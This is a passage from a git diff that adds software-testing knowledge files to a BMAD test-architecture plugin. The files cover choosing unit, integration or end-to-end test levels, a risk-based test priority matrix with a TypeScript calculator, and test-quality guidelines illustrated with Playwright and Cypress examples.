+## Test Level Decision Matrix
+
+### Unit Tests
+
+**When to use:**
+
+- Testing pure functions and business logic
+- Algorithm correctness
+- Input validation and data transformation
+- Error handling in isolated components
+- Complex calculations or state machines
+
+**Characteristics:**
+
+- Fast execution (immediate feedback)
+- No external dependencies (DB, API, file system)
+- Highly maintainable and stable
+- Easy to debug failures
+
+**Example scenarios:**
+
+```yaml
+unit_test:
+  component: 'PriceCalculator'
+  scenario: 'Calculate discount with multiple rules'
+  justification: 'Complex business logic with multiple branches'
+  mock_requirements: 'None - pure function'
+```
+
+### Integration Tests
+
+**When to use:**
+
+- Component interaction verification
+- Database operations and transactions
+- API endpoint contracts
+- Service-to-service communication
+- Middleware and interceptor behavior
+
+**Characteristics:**
+
+- Moderate execution time
+- Tests component boundaries
+- May use test databases or containers
+- Validates system integration points
+
+**Example scenarios:**
+
+```yaml
+integration_test:
+  components: ['UserService', 'AuthRepository']
+  scenario: 'Create user with role assignment'
+  justification: 'Critical data flow between service and persistence'
+  test_environment: 'In-memory database'
+```
+
+### End-to-End Tests
+
+**When to use:**
+
+- Critical user journeys
+- Cross-system workflows
+- Visual regression testing
+- Compliance and regulatory requirements
+- Final validation before release
+
+**Characteristics:**
+
+- Slower execution
+- Tests complete workflows
+- Requires full environment setup
+- Most realistic but most brittle
+
+**Example scenarios:**
+
+```yaml
+e2e_test:
+  journey: 'Complete checkout process'
+  scenario: 'User purchases with saved payment method'
+  justification: 'Revenue-critical path requiring full validation'
+  environment: 'Staging with test payment gateway'
+```
+
+## Test Level Selection Rules
+
+### Favor Unit Tests When:
+
+- Logic can be isolated
+- No side effects involved
+- Fast feedback needed
+- High cyclomatic complexity
+
+### Favor Integration Tests When:
+
+- Testing persistence layer
+- Validating service contracts
+- Testing middleware/interceptors
+- Component boundaries critical
+
+### Favor E2E Tests When:
+
+- User-facing critical paths
+- Multi-system interactions
+- Regulatory compliance scenarios
+- Visual regression important
+
+## Anti-patterns to Avoid
+
+- E2E testing for business logic validation
+- Unit testing framework behavior
+- Integration testing third-party libraries
+- Duplicate coverage across levels
+
+## Duplicate Coverage Guard
+
+**Before adding any test, check:**
+
+1. Is this already tested at a lower level?
+2. Can a unit test cover this instead of integration?
+3. Can an integration test cover this instead of E2E?
+
+**Coverage overlap is only acceptable when:**
+
+- Testing different aspects (unit: logic, integration: interaction, e2e: user experience)
+- Critical paths requiring defense in depth
+- Regression prevention for previously broken functionality
+
+## Test Naming Conventions
+
+- Unit: `test_{component}_{scenario}`
+- Integration: `test_{flow}_{interaction}`
+- E2E: `test_{journey}_{outcome}`
+
+## Test ID Format
+
+`{EPIC}.{STORY}-{LEVEL}-{SEQ}`
+
+Examples:
+
+- `1.3-UNIT-001`
+- `1.3-INT-002`
+- `1.3-E2E-001`
+
+## Real Code Examples
+
+### Example 1: E2E Test (Full User Journey)
+
+**Scenario**: User logs in, navigates to dashboard, and places an order.
+
+```typescript
+// tests/e2e/checkout-flow.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser, createProduct } from '../test-utils/factories';
+
+test.describe('Checkout Flow', () => {
+  test('user can complete purchase with saved payment method', async ({ page, apiRequest }) => {
+    // Setup: Seed data via API (fast!)
+    const user = createUser({ email: 'buyer@example.com', hasSavedCard: true });
+    const product = createProduct({ name: 'Widget', price: 29.99, stock: 10 });
+
+    await apiRequest.post('/api/users', { data: user });
+    await apiRequest.post('/api/products', { data: product });
+
+    // Network-first: Intercept BEFORE action
+    const loginPromise = page.waitForResponse('**/api/auth/login');
+    const cartPromise = page.waitForResponse('**/api/cart');
+    const orderPromise = page.waitForResponse('**/api/orders');
+
+    // Step 1: Login
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', user.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login-button"]');
+    await loginPromise;
+
+    // Assert: Dashboard visible
+    await expect(page).toHaveURL('/dashboard');
+    await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+
+    // Step 2: Add product to cart
+    await page.goto(`/products/${product.id}`);
+    await page.click('[data-testid="add-to-cart"]');
+    await cartPromise;
+    await expect(page.getByText('Added to cart')).toBeVisible();
+
+    // Step 3: Checkout with saved payment
+    await page.goto('/checkout');
+    await expect(page.getByText('Visa ending in 1234')).toBeVisible(); // Saved card
+    await page.click('[data-testid="use-saved-card"]');
+    await page.click('[data-testid="place-order"]');
+    await orderPromise;
+
+    // Assert: Order confirmation
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+    await expect(page.getByText(/Order #\d+/)).toBeVisible();
+    await expect(page.getByText('$29.99')).toBeVisible();
+  });
+});
+```
+
+**Key Points (E2E)**:
+
+- Tests complete user journey across multiple pages
+- API setup for data (fast), UI for assertions (user-centric)
+- Network-first interception to prevent flakiness
+- Validates critical revenue path end-to-end
+
+### Example 2: Integration Test (API/Service Layer)
+
+**Scenario**: UserService creates user and assigns role via AuthRepository.
+
+```typescript
+// tests/integration/user-service.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser } from '../test-utils/factories';
+
+test.describe('UserService Integration', () => {
+  test('should create user with admin role via API', async ({ request }) => {
+    const userData = createUser({ role: 'admin' });
+
+    // Direct API call (no UI)
+    const response = await request.post('/api/users', {
+      data: userData,
+    });
+
+    expect(response.status()).toBe(201);
+
+    const createdUser = await response.json();
+    expect(createdUser.id).toBeTruthy();
+    expect(createdUser.email).toBe(userData.email);
+    expect(createdUser.role).toBe('admin');
+
+    // Verify database state
+    const getResponse = await request.get(`/api/users/${createdUser.id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const fetchedUser = await getResponse.json();
+    expect(fetchedUser.role).toBe('admin');
+    expect(fetchedUser.permissions).toContain('user:delete');
+    expect(fetchedUser.permissions).toContain('user:update');
+
+    // Cleanup
+    await request.delete(`/api/users/${createdUser.id}`);
+  });
+
+  test('should validate email uniqueness constraint', async ({ request }) => {
+    const userData = createUser({ email: 'duplicate@example.com' });
+
+    // Create first user
+    const response1 = await request.post('/api/users', { data: userData });
+    expect(response1.status()).toBe(201);
+
+    const user1 = await response1.json();
+
+    // Attempt duplicate email
+    const response2 = await request.post('/api/users', { data: userData });
+    expect(response2.status()).toBe(409); // Conflict
+    const error = await response2.json();
+    expect(error.message).toContain('Email already exists');
+
+    // Cleanup
+    await request.delete(`/api/users/${user1.id}`);
+  });
+});
+```
+
+**Key Points (Integration)**:
+
+- Tests service layer + database interaction
+- No UI involved—pure API validation
+- Business logic focus (role assignment, constraints)
+- Faster than E2E, more realistic than unit tests
+
+### Example 3: Component Test (Isolated UI Component)
+
+**Scenario**: Test button component in isolation with props and user interactions.
+
+```typescript
+// src/components/Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with correct label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick handler when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Disabled" disabled={true} />);
+    cy.get('button').should('be.disabled');
+    cy.get('button').should('have.attr', 'aria-disabled', 'true');
+  });
+
+  it('should show loading spinner when loading', () => {
+    cy.mount(<Button label="Loading" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles correctly', () => {
+    cy.mount(<Button label="Primary" variant="primary" />);
+    cy.get('button').should('have.class', 'btn-primary');
+
+    cy.mount(<Button label="Secondary" variant="secondary" />);
+    cy.get('button').should('have.class', 'btn-secondary');
+  });
+});
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick handler when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points (Component)**:
+
+- Tests UI component in isolation (no full app)
+- Props + user interactions + visual states
+- Faster than E2E, more realistic than unit tests for UI
+- Great for design system components
+
+### Example 4: Unit Test (Pure Function)
+
+**Scenario**: Test pure business logic function without framework dependencies.
+
+```typescript
+// src/utils/price-calculator.test.ts (Jest/Vitest)
+import { calculateDiscount, applyTaxes, calculateTotal } from './price-calculator';
+
+describe('PriceCalculator', () => {
+  describe('calculateDiscount', () => {
+    it('should apply percentage discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'percentage', value: 20 });
+      expect(result).toBe(80);
+    });
+
+    it('should apply fixed amount discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'fixed', value: 15 });
+      expect(result).toBe(85);
+    });
+
+    it('should not apply discount below zero', () => {
+      const result = calculateDiscount(10, { type: 'fixed', value: 20 });
+      expect(result).toBe(0);
+    });
+
+    it('should handle no discount', () => {
+      const result = calculateDiscount(100, { type: 'none', value: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('applyTaxes', () => {
+    it('should calculate tax correctly for US', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0.08 });
+      expect(result).toBe(108);
+    });
+
+    it('should calculate tax correctly for EU (VAT)', () => {
+      const result = applyTaxes(100, { country: 'DE', rate: 0.19 });
+      expect(result).toBe(119);
+    });
+
+    it('should handle zero tax rate', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('calculateTotal', () => {
+    it('should calculate total with discount and taxes', () => {
+      const items = [
+        { price: 50, quantity: 2 }, // 100
+        { price: 30, quantity: 1 }, // 30
+      ];
+      const discount = { type: 'percentage', value: 10 }; // -13
+      const tax = { country: 'US', rate: 0.08 }; // +9.36
+
+      const result = calculateTotal(items, discount, tax);
+      expect(result).toBeCloseTo(126.36, 2);
+    });
+
+    it('should handle empty items array', () => {
+      const result = calculateTotal([], { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(0);
+    });
+
+    it('should calculate correctly without discount or tax', () => {
+      const items = [{ price: 25, quantity: 4 }];
+      const result = calculateTotal(items, { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+});
+```
+
+**Key Points (Unit)**:
+
+- Pure function testing—no framework dependencies
+- Fast execution (milliseconds)
+- Edge case coverage (zero, negative, empty inputs)
+- High cyclomatic complexity handled at unit level
+
+## When to Use Which Level
+
+| Scenario               | Unit          | Integration       | E2E           |
+| ---------------------- | ------------- | ----------------- | ------------- |
+| Pure business logic    | ✅ Primary    | ❌ Overkill       | ❌ Overkill   |
+| Database operations    | ❌ Can't test | ✅ Primary        | ❌ Overkill   |
+| API contracts          | ❌ Can't test | ✅ Primary        | ⚠️ Supplement |
+| User journeys          | ❌ Can't test | ❌ Can't test     | ✅ Primary    |
+| Component props/events | ✅ Partial    | ⚠️ Component test | ❌ Overkill   |
+| Visual regression      | ❌ Can't test | ⚠️ Component test | ✅ Primary    |
+| Error handling (logic) | ✅ Primary    | ⚠️ Integration    | ❌ Overkill   |
+| Error handling (UI)    | ❌ Partial    | ⚠️ Component test | ✅ Primary    |
+
+## Anti-Pattern Examples
+
+**❌ BAD: E2E test for business logic**
+
+```typescript
+// DON'T DO THIS
+test('calculate discount via UI', async ({ page }) => {
+  await page.goto('/calculator');
+  await page.fill('[data-testid="price"]', '100');
+  await page.fill('[data-testid="discount"]', '20');
+  await page.click('[data-testid="calculate"]');
+  await expect(page.getByText('$80')).toBeVisible();
+});
+// Problem: Slow, brittle, tests logic that should be unit tested
+```
+
+**✅ GOOD: Unit test for business logic**
+
+```typescript
+test('calculate discount', () => {
+  expect(calculateDiscount(100, 20)).toBe(80);
+});
+// Fast, reliable, isolated
+```
+
+_Source: Murat Testing Philosophy (test pyramid), existing test-levels-framework.md structure._
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-priorities-matrix.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-priorities-matrix.md
new file mode 100644
index 0000000..deb4306
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-priorities-matrix.md
@@ -0,0 +1,373 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Priorities Matrix
+
+Guide for prioritizing test scenarios based on risk, criticality, and business impact.
+
+## Priority Levels
+
+### P0 - Critical (Must Test)
+
+**Criteria:**
+
+- Revenue-impacting functionality
+- Security-critical paths
+- Data integrity operations
+- Regulatory compliance requirements
+- Previously broken functionality (regression prevention)
+
+**Examples:**
+
+- Payment processing
+- Authentication/authorization
+- User data creation/deletion
+- Financial calculations
+- GDPR/privacy compliance
+
+**Testing Requirements:**
+
+- Comprehensive coverage at all levels
+- Both happy and unhappy paths
+- Edge cases and error scenarios
+- Performance under load
+
+### P1 - High (Should Test)
+
+**Criteria:**
+
+- Core user journeys
+- Frequently used features
+- Features with complex logic
+- Integration points between systems
+- Features affecting user experience
+
+**Examples:**
+
+- User registration flow
+- Search functionality
+- Data import/export
+- Notification systems
+- Dashboard displays
+
+**Testing Requirements:**
+
+- Primary happy paths required
+- Key error scenarios
+- Critical edge cases
+- Basic performance validation
+
+### P2 - Medium (Nice to Test)
+
+**Criteria:**
+
+- Secondary features
+- Admin functionality
+- Reporting features
+- Configuration options
+- UI polish and aesthetics
+
+**Examples:**
+
+- Admin settings panels
+- Report generation
+- Theme customization
+- Help documentation
+- Analytics tracking
+
+**Testing Requirements:**
+
+- Happy path coverage
+- Basic error handling
+- Can defer edge cases
+
+### P3 - Low (Test if Time Permits)
+
+**Criteria:**
+
+- Rarely used features
+- Nice-to-have functionality
+- Cosmetic issues
+- Non-critical optimizations
+
+**Examples:**
+
+- Advanced preferences
+- Legacy feature support
+- Experimental features
+- Debug utilities
+
+**Testing Requirements:**
+
+- Smoke tests only
+- Can rely on manual testing
+- Document known limitations
+
+## Risk-Based Priority Adjustments
+
+### Increase Priority When:
+
+- High user impact (affects >50% of users)
+- High financial impact (>$10K potential loss)
+- Security vulnerability potential
+- Compliance/legal requirements
+- Customer-reported issues
+- Complex implementation (>500 LOC)
+- Multiple system dependencies
+
+### Decrease Priority When:
+
+- Feature flag protected
+- Gradual rollout planned
+- Strong monitoring in place
+- Easy rollback capability
+- Low usage metrics
+- Simple implementation
+- Well-isolated component
+
+## Test Coverage by Priority
+
+| Priority | Unit Coverage | Integration Coverage | E2E Coverage       |
+| -------- | ------------- | -------------------- | ------------------ |
+| P0       | >90%          | >80%                 | All critical paths |
+| P1       | >80%          | >60%                 | Main happy paths   |
+| P2       | >60%          | >40%                 | Smoke tests        |
+| P3       | Best effort   | Best effort          | Manual only        |
+
+## Priority Assignment Rules
+
+1. **Start with business impact** - What happens if this fails?
+2. **Consider probability** - How likely is failure?
+3. **Factor in detectability** - Would we know if it failed?
+4. **Account for recoverability** - Can we fix it quickly?
+
+## Priority Decision Tree
+
+```
+Is it revenue-critical?
+├─ YES → P0
+└─ NO → Does it affect core user journey?
+    ├─ YES → Is it high-risk?
+    │   ├─ YES → P0
+    │   └─ NO → P1
+    └─ NO → Is it frequently used?
+        ├─ YES → P1
+        └─ NO → Is it customer-facing?
+            ├─ YES → P2
+            └─ NO → P3
+```
+
+## Test Execution Order
+
+1. Execute P0 tests first (fail fast on critical issues)
+2. Execute P1 tests second (core functionality)
+3. Execute P2 tests if time permits
+4. P3 tests only in full regression cycles
+
+## Continuous Adjustment
+
+Review and adjust priorities based on:
+
+- Production incident patterns
+- User feedback and complaints
+- Usage analytics
+- Test failure history
+- Business priority changes
+
+---
+
+## Automated Priority Classification
+
+### Example: Priority Calculator (Risk-Based Automation)
+
+```typescript
+// src/testing/priority-calculator.ts
+
+export type Priority = 'P0' | 'P1' | 'P2' | 'P3';
+
+export type PriorityFactors = {
+  revenueImpact: 'critical' | 'high' | 'medium' | 'low' | 'none';
+  userImpact: 'all' | 'majority' | 'some' | 'few' | 'minimal';
+  securityRisk: boolean;
+  complianceRequired: boolean;
+  previousFailure: boolean;
+  complexity: 'high' | 'medium' | 'low';
+  usage: 'frequent' | 'regular' | 'occasional' | 'rare';
+};
+
+/**
+ * Calculate test priority based on multiple factors
+ * Mirrors the priority decision tree with objective criteria
+ */
+export function calculatePriority(factors: PriorityFactors): Priority {
+  const { revenueImpact, userImpact, securityRisk, complianceRequired, previousFailure, complexity, usage } = factors;
+
+  // P0: Revenue-critical, security, or compliance
+  if (revenueImpact === 'critical' || securityRisk || complianceRequired || (previousFailure && revenueImpact === 'high')) {
+    return 'P0';
+  }
+
+  // P0: High revenue + high complexity + frequent usage
+  if (revenueImpact === 'high' && complexity === 'high' && usage === 'frequent') {
+    return 'P0';
+  }
+
+  // P1: Core user journey (majority impacted + frequent usage)
+  if (userImpact === 'all' || userImpact === 'majority') {
+    if (usage === 'frequent' || complexity === 'high') {
+      return 'P1';
+    }
+  }
+
+  // P1: High revenue OR high complexity with regular usage
+  if ((revenueImpact === 'high' && usage === 'regular') || (complexity === 'high' && usage === 'frequent')) {
+    return 'P1';
+  }
+
+  // P2: Secondary features (some impact, occasional usage)
+  if (userImpact === 'some' || usage === 'occasional') {
+    return 'P2';
+  }
+
+  // P3: Rarely used, low impact
+  return 'P3';
+}
+
+/**
+ * Generate priority justification (for audit trail)
+ */
+export function justifyPriority(factors: PriorityFactors): string {
+  const priority = calculatePriority(factors);
+  const reasons: string[] = [];
+
+  if (factors.revenueImpact === 'critical') reasons.push('critical revenue impact');
+  if (factors.securityRisk) reasons.push('security-critical');
+  if (factors.complianceRequired) reasons.push('compliance requirement');
+  if (factors.previousFailure) reasons.push('regression prevention');
+  if (factors.userImpact === 'all' || factors.userImpact === 'majority') {
+    reasons.push(`impacts ${factors.userImpact} users`);
+  }
+  if (factors.complexity === 'high') reasons.push('high complexity');
+  if (factors.usage === 'frequent') reasons.push('frequently used');
+
+  return `${priority}: ${reasons.join(', ')}`;
+}
+
+/**
+ * Example: Payment scenario priority calculation
+ */
+const paymentScenario: PriorityFactors = {
+  revenueImpact: 'critical',
+  userImpact: 'all',
+  securityRisk: true,
+  complianceRequired: true,
+  previousFailure: false,
+  complexity: 'high',
+  usage: 'frequent',
+};
+
+console.log(calculatePriority(paymentScenario)); // 'P0'
+console.log(justifyPriority(paymentScenario));
+// 'P0: critical revenue impact, security-critical, compliance requirement, impacts all users, high complexity, frequently used'
+```
+
+### Example: Test Suite Tagging Strategy
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+// Tag tests with priority for selective execution
+test.describe('Checkout Flow', () => {
+  test('valid payment completes successfully @p0 @smoke @revenue', async ({ page }) => {
+    // P0: Revenue-critical happy path
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Order confirmed')).toBeVisible();
+  });
+
+  test('expired card shows user-friendly error @p1 @error-handling', async ({ page }) => {
+    // P1: Core error scenario (frequent user impact)
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4000000000000069'); // Test card: expired
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Card expired. Please use a different card.')).toBeVisible();
+  });
+
+  test('coupon code applies discount correctly @p2', async ({ page }) => {
+    // P2: Secondary feature (nice-to-have)
+    await page.goto('/checkout');
+    await page.getByTestId('coupon-code').fill('SAVE10');
+    await page.getByRole('button', { name: 'Apply' }).click();
+
+    await expect(page.getByText('10% discount applied')).toBeVisible();
+  });
+
+  test('gift message formatting preserved @p3', async ({ page }) => {
+    // P3: Cosmetic feature (rarely used)
+    await page.goto('/checkout');
+    await page.getByTestId('gift-message').fill('Happy Birthday!\n\nWith love.');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Message formatting preserved (linebreaks intact)
+    await expect(page.getByTestId('order-summary')).toContainText('Happy Birthday!');
+  });
+});
+```
+
+**Run tests by priority:**
+
+```bash
+# P0 only (smoke tests, 2-5 min)
+npx playwright test --grep @p0
+
+# P0 + P1 (core functionality, 10-15 min)
+npx playwright test --grep "@p0|@p1"
+
+# Full regression (all priorities, 30+ min)
+npx playwright test
+```
+
+---
+
+## Integration with Risk Scoring
+
+Priority should align with risk score from `probability-impact.md`:
+
+| Risk Score | Typical Priority | Rationale                                  |
+| ---------- | ---------------- | ------------------------------------------ |
+| 9          | P0               | Critical blocker (probability=3, impact=3) |
+| 6-8        | P0 or P1         | High risk (requires mitigation)            |
+| 4-5        | P1 or P2         | Medium risk (monitor closely)              |
+| 1-3        | P2 or P3         | Low risk (document and defer)              |
+
+**Example**: Risk score 9 (checkout API failure) → P0 priority → comprehensive coverage required.
+
+---
+
+## Priority Checklist
+
+Before finalizing test priorities:
+
+- [ ] **Revenue impact assessed**: Payment, subscription, billing features → P0
+- [ ] **Security risks identified**: Auth, data exposure, injection attacks → P0
+- [ ] **Compliance requirements documented**: GDPR, PCI-DSS, SOC2 → P0
+- [ ] **User impact quantified**: >50% users → P0/P1, <10% → P2/P3
+- [ ] **Previous failures reviewed**: Regression prevention → increase priority
+- [ ] **Complexity evaluated**: >500 LOC or multiple dependencies → increase priority
+- [ ] **Usage metrics consulted**: Frequent use → P0/P1, rare use → P2/P3
+- [ ] **Monitoring coverage confirmed**: Strong monitoring → can decrease priority
+- [ ] **Rollback capability verified**: Easy rollback → can decrease priority
+- [ ] **Priorities tagged in tests**: @p0, @p1, @p2, @p3 for selective execution
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (priority-based test generation), `*test-design` (scenario prioritization), `*trace` (coverage validation by priority)
+- **Related fragments**: `risk-governance.md` (risk scoring), `probability-impact.md` (impact assessment), `selective-testing.md` (tag-based execution)
+- **Tools**: Playwright/Cypress grep for tag filtering, CI scripts for priority-based execution
+
+_Source: Risk-based testing practices, test prioritization strategies, production incident analysis_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-quality.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-quality.md
new file mode 100644
index 0000000..ab62d91
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-quality.md
@@ -0,0 +1,664 @@
+# Test Quality Definition of Done
+
+## Principle
+
+Tests must be deterministic, isolated, explicit, focused, and fast. Every test should execute in under 1.5 minutes, contain fewer than 300 lines, avoid hard waits and conditionals, keep assertions visible in test bodies, and clean up after itself for parallel execution.
+
+## Rationale
+
+Quality tests provide reliable signal about application health. Flaky tests erode confidence and waste engineering time. Tests that use hard waits (`waitForTimeout(3000)`) are non-deterministic and slow. Tests with hidden assertions or conditional logic become unmaintainable. Large tests (>300 lines) are hard to understand and debug. Slow tests (>1.5 min) block CI pipelines. Self-cleaning tests prevent state pollution in parallel runs.
+
+## Pattern Examples
+
+### Example 1: Deterministic Test Pattern
+
+**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Non-deterministic test with conditionals and hard waits
+test('user can view dashboard - FLAKY', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // NEVER - arbitrary wait
+
+  // Conditional flow control - test behavior varies
+  if (await page.locator('[data-testid="welcome-banner"]').isVisible()) {
+    await page.click('[data-testid="dismiss-banner"]');
+    await page.waitForTimeout(500);
+  }
+
+  // Try-catch for flow control - hides real issues
+  try {
+    await page.click('[data-testid="load-more"]');
+  } catch (e) {
+    // Silently continue - test passes even if button missing
+  }
+
+  // Random data without control
+  const randomEmail = `user${Math.random()}@example.com`;
+  await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly
+});
+
+// ✅ GOOD: Deterministic test with explicit waits
+test('user can view dashboard', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+  // Setup via API (fast, controlled)
+  await apiRequest.post('/api/users', { data: user });
+
+  // Network-first: Intercept BEFORE navigate
+  const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+
+  // Wait for actual response, not arbitrary time
+  const dashboardResponse = await dashboardPromise;
+  const dashboard = await dashboardResponse.json();
+
+  // Explicit assertions with controlled data
+  await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+  await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length);
+
+  // No conditionals - test always executes same path
+  // No try-catch - failures bubble up clearly
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display user dashboard', () => {
+    const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+    // Setup via task (fast, controlled)
+    cy.task('db:seed', { users: [user] });
+
+    // Network-first interception
+    cy.intercept('GET', '**/api/dashboard').as('getDashboard');
+
+    cy.visit('/dashboard');
+
+    // Deterministic wait for response
+    cy.wait('@getDashboard').then((interception) => {
+      const dashboard = interception.response.body;
+
+      // Explicit assertions
+      cy.contains(`Welcome, ${user.name}`).should('be.visible');
+      cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Replace `waitForTimeout()` with `waitForResponse()` or element state checks
+- Never use if/else to control test flow - tests should be deterministic
+- Avoid try-catch for flow control - let failures bubble up clearly
+- Use factory functions with controlled data, not `Math.random()`
+- Network-first pattern prevents race conditions
+
+### Example 2: Isolated Test with Cleanup
+
+**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs. Use fixture auto-cleanup or explicit teardown.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Test leaves data behind, pollutes other tests
+test('admin can create user - POLLUTES STATE', async ({ page, apiRequest }) => {
+  await page.goto('/admin/users');
+
+  // Hardcoded email - collides in parallel runs
+  await page.fill('[data-testid="email"]', 'newuser@example.com');
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // NO CLEANUP - user remains in database
+  // Next test run fails: "Email already exists"
+});
+
+// ✅ GOOD: Test cleans up with fixture auto-cleanup
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { deleteRecord, seedDatabase } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id); // Track for cleanup
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+});
+
+// Use the fixture
+test('admin can create user', async ({ page, seedUser }) => {
+  // Create admin with unique data
+  const admin = await seedUser({
+    email: faker.internet.email(), // Unique each run
+    role: 'admin',
+  });
+
+  await page.goto('/admin/users');
+
+  const newUserEmail = faker.internet.email(); // Unique
+  await page.fill('[data-testid="email"]', newUserEmail);
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // Verify in database
+  const createdUser = await seedUser({ email: newUserEmail });
+  expect(createdUser.email).toBe(newUserEmail);
+
+  // Auto-cleanup happens via fixture teardown
+});
+
+// Cypress equivalent with explicit cleanup
+describe('Admin User Management', () => {
+  const createdUserIds: string[] = [];
+
+  afterEach(() => {
+    // Cleanup: Delete all users created during test
+    createdUserIds.forEach((userId) => {
+      cy.task('db:delete', { table: 'users', id: userId });
+    });
+    createdUserIds.length = 0;
+  });
+
+  it('should create user', () => {
+    const admin = createUser({ role: 'admin' });
+    const newUser = createUser(); // Unique data via faker
+
+    cy.task('db:seed', { users: [admin] }).then((result: any) => {
+      createdUserIds.push(result.users[0].id);
+    });
+
+    cy.visit('/admin/users');
+    cy.get('[data-cy="email"]').type(newUser.email);
+    cy.get('[data-cy="name"]').type(newUser.name);
+    cy.get('[data-cy="create-user"]').click();
+
+    cy.contains('User created').should('be.visible');
+
+    // Track for cleanup
+    cy.task('db:findByEmail', newUser.email).then((user: any) => {
+      createdUserIds.push(user.id);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Use fixtures with auto-cleanup via teardown (after `use()`)
+- Track all created resources in array during test execution
+- Use `faker` for unique data - prevents parallel collisions
+- Cypress: Use `afterEach()` with explicit cleanup
+- Never hardcode IDs or emails - always generate unique values
+
+### Example 3: Explicit Assertions in Tests
+
+**Context**: When validating test results, keep assertions visible in test bodies. Never hide assertions in helper functions - this obscures test intent and makes failures harder to diagnose.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Assertions hidden in helper functions
+// helpers/api-validators.ts
+export async function validateUserCreation(response: Response, expectedEmail: string) {
+  const user = await response.json();
+  expect(response.status()).toBe(201);
+  expect(user.email).toBe(expectedEmail);
+  expect(user.id).toBeTruthy();
+  expect(user.createdAt).toBeTruthy();
+  // Hidden assertions - not visible in test
+}
+
+test('create user via API - OPAQUE', async ({ request }) => {
